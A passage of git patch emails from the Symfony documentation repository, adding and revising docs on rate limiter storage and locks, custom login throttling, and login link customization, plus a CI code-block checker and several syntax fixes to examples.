+                    <!-- policy: use 'sliding_window' if you prefer that policy -->
+                    <framework:limiter name="anonymous_api"
+                        policy="fixed_window"
+                        limit="100"
+                        interval="60 minutes"
+                    />
+
+                    <framework:limiter name="authenticated_api"
+                        policy="token_bucket"
+                        limit="5000"
+                    >
+                        <framework:rate interval="15 minutes"
+                            amount="500"
+                        />
+                    </framework:limiter>
+                </framework:rate-limiter>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/rate_limiter.php
+        $container->loadFromExtension('framework', [
+            rate_limiter' => [
+                'anonymous_api' => [
+                    // use 'sliding_window' if you prefer that policy
+                    'policy' => 'fixed_window',
+                    'limit' => 100,
+                    'interval' => '60 minutes',
+                ],
+                'authenticated_api' => [
+                    'policy' => 'token_bucket',
+                    'limit' => 5000,
+                    'rate' => [ 'interval' =>  '15 minutes', 'amount' =>  500 ],
+                ],
+            ],
+        ]);
 
 .. note::
 
@@ -300,27 +354,146 @@ the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
         }
     }
 
-Rate Limiter Storage and Locking
---------------------------------
-
-Rate limiters use the default cache and locking mechanisms defined in your
-Symfony application. If you prefer to change that, use the ``lock_factory`` and
-``storage_service`` options:
-
-.. code-block:: yaml
-
-    # config/packages/rate_limiter.yaml
-    framework:
-        rate_limiter:
-            anonymous_api_limiter:
-                # ...
-                # the value is the name of any cache pool defined in your application
-                cache_pool: 'app.redis_cache'
-                # or define a service implementing StorageInterface to use a different
-                # mechanism to store the limiter information
-                storage_service: 'App\RateLimiter\CustomRedisStorage'
-                # the value is the name of any lock defined in your application
-                lock_factory: 'app.rate_limiter_lock'
+Storing Rate Limiter State: Caching
+-----------------------------------
+
+All rate limiter policies require to store the state of the rate limiter
+(e.g. how many hits were already made in the current time window). This
+state is stored by default using the :doc:`Cache component </cache>`.
+
+The default cache pool used by all limiters is ``cache.rate_limiter``. You
+can modify this cache pool by :ref:`defining a "rate_limiter" pool <cache-create-pools>`.
+
+You can also override the pool for a specific limiter using the ``cache_pool``
+option:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/rate_limiter.yaml
+        framework:
+            rate_limiter:
+                anonymous_api:
+                    # ...
+
+                    # use the "cache.anonymous_rate_limiter" cache pool
+                    cache_pool: 'cache.anonymous_rate_limiter'
+
+    .. code-block:: xml
+
+        <!-- config/packages/rate_limiter.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:rate-limiter>
+                    <!-- cache-pool: use the "cache.anonymous_rate_limiter" cache pool -->
+                    <framework:limiter name="anonymous_api"
+                        policy="fixed_window"
+                        limit="100"
+                        interval="60 minutes"
+                        cache-pool="cache.anonymous_rate_limiter"
+                    />
+
+                    <!-- ... ->
+                </framework:rate-limiter>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/rate_limiter.php
+        $container->loadFromExtension('framework', [
+            rate_limiter' => [
+                'anonymous_api' => [
+                    // ...
+
+                    // use the "cache.anonymous_rate_limiter" cache pool
+                    'cache_pool' => 'cache.anonymous_rate_limiter',
+                ],
+            ],
+        ]);
+
+.. note::
+
+    Instead of using the Cache component, you can also implement a custom
+    storage. Create a PHP class that implements the
+    :class:`Symfony\\Component\\RateLimiter\\Storage\\StorageInterface` and
+    set the ``storage_service`` setting of each limiter to the service ID
+    of this class.
+
+Using Locks to Prevent Race Conditions
+--------------------------------------
+
+Rate limiting can be affected by race conditions, if the same limiter is
+applied to simultaneous requests (e.g. 3 servers of the same client call
+the same API). To prevent these race conditions, the rate limiting
+operations are protected using :doc:`locks </lock>`.
+
+By default, the global lock (configured by ``framework.lock``) is used. You
+can use a specific :ref:`named lock <lock-named-locks>` via the
+``lock_factory`` option:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/rate_limiter.yaml
+        framework:
+            rate_limiter:
+                anonymous_api:
+                    # ...
+
+                    # use the "lock.rate_limiter.factory" for this limiter
+                    lock_factory: 'lock.rate_limiter.factory'
+
+    .. code-block:: xml
+
+        <!-- config/packages/rate_limiter.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:rate-limiter>
+                    <!-- limiter-factory: use the "lock.rate_limiter.factory" for this limiter -->
+                    <framework:limiter name="anonymous_api"
+                        policy="fixed_window"
+                        limit="100"
+                        interval="60 minutes"
+                        lock-factory="lock.rate_limiter.factory"
+                    />
+
+                    <!-- ... -->
+                </framework:rate-limiter>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/rate_limiter.php
+        $container->loadFromExtension('framework', [
+            rate_limiter' => [
+                'anonymous_api' => [
+                    // ...
+
+                    // use the "lock.rate_limiter.factory" for this limiter
+                    'lock_factory' => 'lock.rate_limiter.factory',
+                ],
+            ],
+        ]);
 
 .. _`DoS attacks`: https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html
 .. _`Apache mod_ratelimit`: https://httpd.apache.org/docs/current/mod/mod_ratelimit.html
diff --git a/security.rst b/security.rst
index 3b9341a07d6..ea7896e8040 100644
--- a/security.rst
+++ b/security.rst
@@ -550,11 +550,6 @@ You must enable this using the ``login_throttling`` setting:
                     'login_throttling' => [
                         'max_attempts' => 3,
                     ],
-
-                    // use a custom rate limiter via its service ID
-                    'login_throttling' => [
-                        'limiter' => 'app.my_login_rate_limiter',
-                    ],
                 ],
             ],
         ]);
@@ -565,10 +560,6 @@ failed requests for ``IP address``. The second limit protects against an
 attacker using multiple usernames from bypassing the first limit, without
 distrupting normal users on big networks (such as offices).
 
-If you need a more complex limiting algorithm, create a class that implements
-:class:`Symfony\\Component\\HttpFoundation\\RateLimiter\\RequestRateLimiterInterface`
-and set the ``limiter`` option to its service ID.
-
 .. tip::
 
     Limiting the failed login attempts is only one basic protection against
@@ -576,6 +567,141 @@ and set the ``limiter`` option to its service ID.
     several other protections that you should consider depending on the
     level of protection required.
 
+If you need a more complex limiting algorithm, create a class that implements
+:class:`Symfony\\Component\\HttpFoundation\\RateLimiter\\RequestRateLimiterInterface`
+(or use
+:class:`Symfony\\Component\\Security\\Http\\RateLimiter\\DefaultLoginRateLimiter`)
+and set the ``limiter`` option to its service ID:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        framework:
+            rate_limiter:
+                # define 2 rate limiters (one for username+IP, the other for IP)
+                username_ip_login:
+                    policy: token_bucket
+                    limit: 5
+                    rate: { interval: '5 minutes' }
+
+                ip_login:
+                    policy: sliding_window
+                    limit: 50
+                    interval: '15 minutes'
+
+        services:
+            # our custom login rate limiter
+            app.login_rate_limiter:
+                class: Symfony\Component\Security\Http\RateLimiter\DefaultLoginRateLimiter
+                arguments:
+                    # globalFactory is the limiter for IP
+                    $globalFactory: '@limiter.ip_login'
+                    # localFactory is the limiter for username+IP
+                    $localFactory: '@limiter.username_ip_login'
+
+        security:
+            firewalls:
+                main:
+                    # use a custom rate limiter via its service ID
+                    login_throttling:
+                        limiter: app.login_rate_limiter
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <framework:config>
+                <framework:rate-limiter>
+                    <!-- define 2 rate limiters (one for username+IP, the other for IP) -->
+                    <framework:limiter name="username_ip_login"
+                        policy="token_bucket"
+                        limit="5"
+                    >
+                        <framework:rate interval="5 minutes"/>
+                    </framework:limiter>
+
+                    <framework:limiter name="ip_login"
+                        policy="sliding_window"
+                        limit="50"
+                        interval="15 minutes"
+                    />
+                </framework:rate-limiter>
+            </framework:config>
+
+            <srv:services>
+                <!-- our custom login rate limiter -->
+                <srv:service id="app.login_rate_limiter"
+                    class="Symfony\Component\Security\Http\RateLimiter\DefaultLoginRateLimiter"
+                >
+                    <!-- 1st argument is the limiter for IP -->
+                    <srv:argument type="service" id="limiter.ip_login"/>
+                    <1-- 2nd argument is the limiter for username+IP -->
+                    <srv:argument type="service" id="limiter.username_ip_login"/>
+                </srv:service>
+            </srv:services>
+
+            <config>
+                <firewall name="main">
+                    <!-- use a custom rate limiter via its service ID -->
+                    <login-throttling limiter="app.login_rate_limiter"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Component\DependencyInjection\Reference;
+        use Symfony\Component\Security\Http\RateLimiter\DefaultLoginRateLimiter;
+
+        $container->loadFromExtension('framework', [
+            'rate_limiter' => [
+                // define 2 rate limiters (one for username+IP, the other for IP)
+                'username_ip_login' => [
+                    'policy' => 'token_bucket',
+                    'limit' => 5,
+                    'rate' => [ 'interval' => '5 minutes' ],
+                ],
+                'ip_login' => [
+                    'policy' => 'sliding_window',
+                    'limit' => 50,
+                    'interval' => '15 minutes',
+                ],
+            ],
+        ]);
+
+        $container->register('app.login_rate_limiter', DefaultLoginRateLimiter::class)
+            ->setArguments([
+                // 1st argument is the limiter for IP
+                new Reference('limiter.ip_login'),
+                // 2nd argument is the limiter for username+IP
+                new Reference('limiter.username_ip_login'),
+            ]);
+
+        $container->loadFromExtension('security', [
+            'firewalls' => [
+                'main' => [
+                    // use a custom rate limiter via its service ID
+                    'login_throttling' =>
+                        'limiter' => 'app.login_rate_limiter',
+                    ],
+                ],
+            ],
+        ]);
+
 .. _`security-authorization`:
 .. _denying-access-roles-and-other-authorization:
 

From 5a67b62fbc7d2f592f0200371e1a20f8b9eab104 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 21 Apr 2021 10:07:05 +0200
Subject: [PATCH 0757/5766] Minor rewords

---
 rate_limiter.rst | 32 +++++++++++++++-----------------
 1 file changed, 15 insertions(+), 17 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 67bf6b00070..c95b96161a4 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -356,18 +356,15 @@ the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
         }
     }
 
-Storing Rate Limiter State: Caching
------------------------------------
+Storing Rate Limiter State
+--------------------------
 
-All rate limiter policies require to store the state of the rate limiter
-(e.g. how many hits were already made in the current time window). This
-state is stored by default using the :doc:`Cache component </cache>`.
+All rate limiter policies require to store their state(e.g. how many hits were
+already made in the current time window). By default, all limiters use the
+``cache.rate_limiter`` cache pool created with the :doc:`Cache component </cache>`.
 
-The default cache pool used by all limiters is ``cache.rate_limiter``. You
-can modify this cache pool by :ref:`defining a "rate_limiter" pool <cache-create-pools>`.
-
-You can also override the pool for a specific limiter using the ``cache_pool``
-option:
+Use the ``cache_pool`` option to override the cache used by a specific limiter
+(or even :ref:`create a new cache pool <cache-create-pools>` for it):
 
 .. configuration-block::
 
@@ -428,19 +425,19 @@ option:
     Instead of using the Cache component, you can also implement a custom
     storage. Create a PHP class that implements the
     :class:`Symfony\\Component\\RateLimiter\\Storage\\StorageInterface` and
-    set the ``storage_service`` setting of each limiter to the service ID
+    use the ``storage_service`` setting of each limiter to the service ID
     of this class.
 
 Using Locks to Prevent Race Conditions
 --------------------------------------
 
-Rate limiting can be affected by race conditions, if the same limiter is
-applied to simultaneous requests (e.g. 3 servers of the same client call
-the same API). To prevent these race conditions, the rate limiting
-operations are protected using :doc:`locks </lock>`.
+`Race conditions`_ can happen when the same rate limiter is used by multiple
+simultaneous requests (e.g. three servers of a company hitting your API at the
+same time). Rate limiters use :doc:`locks </lock>` to protect their operations
+against these race conditions.
 
-By default, the global lock (configured by ``framework.lock``) is used. You
-can use a specific :ref:`named lock <lock-named-locks>` via the
+By default, Symfony uses the global lock configured by ``framework.lock``), but
+you can use a specific :ref:`named lock <lock-named-locks>` via the
 ``lock_factory`` option:
 
 .. configuration-block::
@@ -502,3 +499,4 @@ can use a specific :ref:`named lock <lock-named-locks>` via the
 .. _`NGINX rate limiting`: https://www.nginx.com/blog/rate-limiting-nginx/
 .. _`token bucket algorithm`: https://en.wikipedia.org/wiki/Token_bucket
 .. _`PHP date relative formats`: https://www.php.net/datetime.formats.relative
+.. _`Race conditions`: https://en.wikipedia.org/wiki/Race_condition

From 830b1f366d979e06bb6572a6c02540239b355060 Mon Sep 17 00:00:00 2001
From: roromix <16560617+roromix@users.noreply.github.com>
Date: Sun, 28 Mar 2021 13:28:32 +0200
Subject: [PATCH 0758/5766] [Security] Customize generated Login Link

---
 security/login_link.rst | 48 +++++++++++++++++++++++++++++++++++++++++
 1 file changed, 48 insertions(+)

diff --git a/security/login_link.rst b/security/login_link.rst
index 4e1bfa2d3da..b4dc13444f0 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -739,3 +739,51 @@ Then, configure this service ID as the ``success_handler``:
                 ],
             ],
         ]);
+
+Customize generated Login Link
+------------------------------
+
+.. versionadded:: 5.3
+
+    The possibility to customize the login link was introduced in Symfony 5.3.
+
+In some use cases it may be useful to customize the Login Link. In addition
+to the ``UserInterface``, it is therefore possible to pass a ``Request`` to the ``createLoginLink``
+method. In this example, our route is localized with the user locale which may
+be different from the current locale::
+
+    // src/Controller/SecurityController.php
+    namespace App\Controller;
+
+    // ...
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\Security\Http\LoginLink\LoginLinkHandlerInterface;
+
+    class SecurityController extends AbstractController
+    {
+        /**
+         * @Route("/login", name="login")
+         */
+        public function requestLoginLink(LoginLinkHandlerInterface $loginLinkHandler, Request $request)
+        {
+            // check if login form is submitted
+            if ($request->isMethod('POST')) {
+                // ... load the user in some way
+
+                // clone and customize Request
+                $userRequest = clone $request;
+                $userRequest->setLocale($user->getLocale() ?? $request->getDefaultLocale());
+
+                // create a login link for $user this returns an instance
+                // of LoginLinkDetails
+                $loginLinkDetails = $loginLinkHandler->createLoginLink($user, $userRequest);
+                $loginLink = $loginLinkDetails->getUrl();
+
+                // ...
+            }
+
+            return $this->render('security/login.html.twig');
+        }
+
+        // ...
+    }

From fd2958d5d1ae4ed7a6ab3f82058f5d86155d99d8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 21 Apr 2021 10:45:50 +0200
Subject: [PATCH 0759/5766] Tweaks

---
 security/login_link.rst | 14 ++++++--------
 1 file changed, 6 insertions(+), 8 deletions(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index b4dc13444f0..fb35b5885bd 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -740,17 +740,16 @@ Then, configure this service ID as the ``success_handler``:
             ],
         ]);
 
-Customize generated Login Link
-------------------------------
+Customizing the Login Link
+--------------------------
 
 .. versionadded:: 5.3
 
     The possibility to customize the login link was introduced in Symfony 5.3.
 
-In some use cases it may be useful to customize the Login Link. In addition
-to the ``UserInterface``, it is therefore possible to pass a ``Request`` to the ``createLoginLink``
-method. In this example, our route is localized with the user locale which may
-be different from the current locale::
+The ``createLoginLink()`` method accepts a second optional argument to pass the
+``Request`` object used when generating the login link. This allows to customize
+features such as the locale used to generate the link::
 
     // src/Controller/SecurityController.php
     namespace App\Controller;
@@ -774,8 +773,7 @@ be different from the current locale::
                 $userRequest = clone $request;
                 $userRequest->setLocale($user->getLocale() ?? $request->getDefaultLocale());
 
-                // create a login link for $user this returns an instance
-                // of LoginLinkDetails
+                // create a login link for $user (this returns an instance of LoginLinkDetails)
                 $loginLinkDetails = $loginLinkHandler->createLoginLink($user, $userRequest);
                 $loginLink = $loginLinkDetails->getUrl();
 

From 2382264aef232f28068efe4416575c7035eb831b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 21 Apr 2021 11:04:03 +0200
Subject: [PATCH 0760/5766] Reword

---
 security/login_link.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index e1205e53a31..bc23d8c5817 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -740,4 +740,8 @@ Then, configure this service ID as the ``success_handler``:
             ],
         ]);
         
-If you want to manage the failure for example the link is expires, use 'failure_handler' and implements "AuthenticationFailureHandlerInterface" instand of "AuthenticationSuccessHandlerInterface"
+.. tip::
+
+    If you want to customize the default failure handling, use the
+    ``failure_handler`` option and create a class that implements
+    :class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationFailureHandlerInterface`.

From c92641d9edae5227ec518da6ca7dcbdba00bdca6 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Sun, 18 Apr 2021 18:09:56 +0200
Subject: [PATCH 0761/5766] Verify code blocks

---
 .github/workflows/ci.yaml | 60 +++++++++++++++++++++++++++++++++++++++
 1 file changed, 60 insertions(+)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index cfa60fe96f9..08dc6b970ea 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -103,3 +103,63 @@ jobs:
                 uses: docker://oskarstark/doctor-rst
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
+
+    symfony-code-block-checker:
+        name: Code Blocks
+        runs-on: Ubuntu-20.04
+        continue-on-error: true
+        steps:
+          - name: Checkout code
+            uses: actions/checkout@v2
+
+          - name: Set-up PHP
+            uses: shivammathur/setup-php@v2
+            with:
+                php-version: 8.0
+                coverage: none
+
+          - name: Fetch branch from where the PR started
+            run: git fetch --no-tags --prune --depth=1 origin +refs/heads/*:refs/remotes/origin/*
+
+          - name: Find modified files
+            id: find-files
+            run: echo "::set-output name=files::$(git diff --name-only origin/${{ github.base_ref }} HEAD | grep ".rst" | tr '\n' ' ')"
+
+          - name: Get composer cache directory
+            id: composercache
+            run: echo "::set-output name=dir::$(composer config cache-files-dir)"
+
+          - name: Cache dependencies
+            uses: actions/cache@v2
+            with:
+                path: ${{ steps.composercache.outputs.dir }}
+                key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }}
+                restore-keys: ${{ runner.os }}-composer-
+
+          - name: Install dependencies
+            if: ${{ steps.find-files.outputs.files }}
+            run: |
+              git clone --depth 15 https://github.com/symfony-docs-tools/code-block-checker.git ../_checker
+              cd ../_checker
+              composer install
+
+          - name: Install test application
+            if: ${{ steps.find-files.outputs.files }}
+            run: |
+              git clone -b ${{ github.base_ref }} --depth 5 --single-branch https://github.com/symfony-docs-tools/symfony-application.git ../_sf_app
+              cd ../_sf_app
+              composer update
+
+          - name: Generate baseline
+            if: ${{ steps.find-files.outputs.files }}
+            run: |
+              CURRENT=$(git rev-parse HEAD)
+              git checkout -m ${{ github.base_ref }}
+              ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --generate-baseline=baseline.json --symfony-application=`realpath ../_sf_app`
+              git checkout -m $CURRENT
+              cat baseline.json
+
+          - name: Verify examples
+            if: ${{ steps.find-files.outputs.files }}
+            run: |
+              ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --baseline=baseline.json --output-format=github --symfony-application=`realpath ../_sf_app`

From aa7e3dde80f058c31d0abef0957582e5ea06e35f Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Wed, 21 Apr 2021 11:43:34 +0200
Subject: [PATCH 0762/5766] Fixed syntax errors on 5.x

---
 doctrine/events.rst | 4 +---
 rate_limiter.rst    | 8 ++++----
 security.rst        | 2 +-
 3 files changed, 6 insertions(+), 8 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index d130ce210e3..abe574a1867 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -454,8 +454,6 @@ with the ``doctrine.event_subscriber`` tag:
                 <service id="App\EventListener\DatabaseActivitySubscriber">
                     <tag name="doctrine.event_subscriber" priority="500" connection="default"/>
                 </service>
-
-                </service>
             </services>
         </container>
 
@@ -475,7 +473,7 @@ with the ``doctrine.event_subscriber`` tag:
                     // to the same event (default priority = 0; higher numbers = listener is run earlier)
                     'priority' => 500,
 
-                    # you can also restrict listeners to a specific Doctrine connection
+                    // you can also restrict listeners to a specific Doctrine connection
                     'connection' => 'default',
                 ])
             ;
diff --git a/rate_limiter.rst b/rate_limiter.rst
index c95b96161a4..2ab832d7031 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -178,7 +178,7 @@ enforce different levels of service (free or paid):
 
         // config/packages/rate_limiter.php
         $container->loadFromExtension('framework', [
-            rate_limiter' => [
+            'rate_limiter' => [
                 'anonymous_api' => [
                     // use 'sliding_window' if you prefer that policy
                     'policy' => 'fixed_window',
@@ -401,7 +401,7 @@ Use the ``cache_pool`` option to override the cache used by a specific limiter
                         cache-pool="cache.anonymous_rate_limiter"
                     />
 
-                    <!-- ... ->
+                    <!-- ... -->
                 </framework:rate-limiter>
             </framework:config>
         </container>
@@ -410,7 +410,7 @@ Use the ``cache_pool`` option to override the cache used by a specific limiter
 
         // config/packages/rate_limiter.php
         $container->loadFromExtension('framework', [
-            rate_limiter' => [
+            'rate_limiter' => [
                 'anonymous_api' => [
                     // ...
 
@@ -484,7 +484,7 @@ you can use a specific :ref:`named lock <lock-named-locks>` via the
 
         // config/packages/rate_limiter.php
         $container->loadFromExtension('framework', [
-            rate_limiter' => [
+            'rate_limiter' => [
                 'anonymous_api' => [
                     // ...
 
diff --git a/security.rst b/security.rst
index 1bf3cf2408e..e2a355a0217 100644
--- a/security.rst
+++ b/security.rst
@@ -712,7 +712,7 @@ and set the ``limiter`` option to its service ID:
             'firewalls' => [
                 'main' => [
                     // use a custom rate limiter via its service ID
-                    'login_throttling' =>
+                    'login_throttling' => [
                         'limiter' => 'app.login_rate_limiter',
                     ],
                 ],

From 6a5957c8dc3b2ceeffeee88f5d9c1d3534f5d6be Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 21 Apr 2021 11:54:42 +0200
Subject: [PATCH 0763/5766] Fixed a XML code example

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index d98506c8ee2..70928a65fd5 100644
--- a/security.rst
+++ b/security.rst
@@ -648,7 +648,7 @@ and set the ``limiter`` option to its service ID:
                 >
                     <!-- 1st argument is the limiter for IP -->
                     <srv:argument type="service" id="limiter.ip_login"/>
-                    <1-- 2nd argument is the limiter for username+IP -->
+                    <!-- 2nd argument is the limiter for username+IP -->
                     <srv:argument type="service" id="limiter.username_ip_login"/>
                 </srv:service>
             </srv:services>

From 9d1216e6ced5031867aed987428b78bcfc0a95cf Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Wed, 21 Apr 2021 10:16:25 +0200
Subject: [PATCH 0764/5766] Fixed syntax error in 5.2

---
 mailer.rst                               | 2 +-
 reference/dic_tags.rst                   | 4 ++--
 security.rst                             | 1 -
 security/access_control.rst              | 2 +-
 security/experimental_authenticators.rst | 1 +
 session/database.rst                     | 8 ++++----
 6 files changed, 9 insertions(+), 9 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 721e2144654..a42aecb1d01 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -247,7 +247,7 @@ configurable with the ``verify_peer`` option. Although it's not recommended to
 disable this verification for security reasons, it can be useful while developing
 the application or when using a self-signed certificate::
 
-    $dsn = 'smtp://user:pass@smtp.example.com?verify_peer=0'
+    $dsn = 'smtp://user:pass@smtp.example.com?verify_peer=0';
 
 .. versionadded:: 5.1
 
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 0aca3c91777..5a4716fd3e7 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -316,8 +316,8 @@ is restarted):
 
         $container
             ->register(SomeService::class)
-            ->addTag('container.preload', ['class' => SomeClass::class)
-            ->addTag('container.preload', ['class' => OtherClass::class)
+            ->addTag('container.preload', ['class' => SomeClass::class])
+            ->addTag('container.preload', ['class' => OtherClass::class])
             // ...
         ;
 
diff --git a/security.rst b/security.rst
index d98506c8ee2..738e35474ea 100644
--- a/security.rst
+++ b/security.rst
@@ -368,7 +368,6 @@ important section is ``firewalls``:
                 <firewall name="main"
                     anonymous="true"
                     lazy="true"/>
-                </firewall>
             </config>
         </srv:container>
 
diff --git a/security/access_control.rst b/security/access_control.rst
index 95c57f15a85..2f65dc60281 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -65,7 +65,7 @@ Take the following ``access_control`` entries as an example:
                 https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <srv:parameters>
-                <srv:parameter key="env(TRUSTED_IPS)">10.0.0.1, 10.0.0.2</parameter>
+                <srv:parameter key="env(TRUSTED_IPS)">10.0.0.1, 10.0.0.2</srv:parameter>
             </srv:parameters>
 
             <config>
diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
index 269aefe01a0..b7734ef88e0 100644
--- a/security/experimental_authenticators.rst
+++ b/security/experimental_authenticators.rst
@@ -226,6 +226,7 @@ You can configure this using the ``entry_point`` setting:
                     <!-- allow authentication using a form or HTTP basic -->
                     <form-login/>
                     <http-basic/>
+                </firewall>
             </config>
         </srv:container>
 
diff --git a/session/database.rst b/session/database.rst
index 71f85e73efc..4aa1bcb4532 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -90,7 +90,7 @@ and ``RedisProxy``:
                 arguments:
                     - '@Redis'
                     # you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
-                    # which define the prefix to use for the keys to avoid collision on the Redis server 
+                    # which define the prefix to use for the keys to avoid collision on the Redis server
                     # and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
                     # - { 'prefix' => 'my_prefix', 'ttl' => 600 }
 
@@ -101,7 +101,7 @@ and ``RedisProxy``:
             <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler">
                 <argument type="service" id="Redis"/>
                 <!-- you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
-                     which define the prefix to use for the keys to avoid collision on the Redis server 
+                     which define the prefix to use for the keys to avoid collision on the Redis server
                      and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
                 <argument type="collection">
                     <argument key="prefix">my_prefix</argument>
@@ -119,7 +119,7 @@ and ``RedisProxy``:
             ->addArgument(
                 new Reference('Redis'),
                 // you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
-                // which define the prefix to use for the keys to avoid collision on the Redis server 
+                // which define the prefix to use for the keys to avoid collision on the Redis server
                 // and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
                 // ['prefix' => 'my_prefix', 'ttl' => 600],
             );
@@ -601,7 +601,7 @@ configure these values with the second argument passed to the
             $services->set(MongoDbSessionHandler::class)
                 ->args([
                     service('doctrine_mongodb.odm.default_connection'),
-                    ['id_field' => '_guid', 'expiry_field' => 'eol'],,
+                    ['id_field' => '_guid', 'expiry_field' => 'eol'],
                 ])
             ;
         };

From 8acd2fdc7018d15e057b6e949d6e03dd9fbf523f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 21 Apr 2021 12:21:25 +0200
Subject: [PATCH 0765/5766] Misc. fixes

---
 mailer.rst                               | 2 +-
 reference/dic_tags.rst                   | 4 ++--
 security.rst                             | 1 -
 security/access_control.rst              | 2 +-
 security/experimental_authenticators.rst | 1 +
 session/database.rst                     | 8 ++++----
 6 files changed, 9 insertions(+), 9 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 721e2144654..a42aecb1d01 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -247,7 +247,7 @@ configurable with the ``verify_peer`` option. Although it's not recommended to
 disable this verification for security reasons, it can be useful while developing
 the application or when using a self-signed certificate::
 
-    $dsn = 'smtp://user:pass@smtp.example.com?verify_peer=0'
+    $dsn = 'smtp://user:pass@smtp.example.com?verify_peer=0';
 
 .. versionadded:: 5.1
 
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 0aca3c91777..5a4716fd3e7 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -316,8 +316,8 @@ is restarted):
 
         $container
             ->register(SomeService::class)
-            ->addTag('container.preload', ['class' => SomeClass::class)
-            ->addTag('container.preload', ['class' => OtherClass::class)
+            ->addTag('container.preload', ['class' => SomeClass::class])
+            ->addTag('container.preload', ['class' => OtherClass::class])
             // ...
         ;
 
diff --git a/security.rst b/security.rst
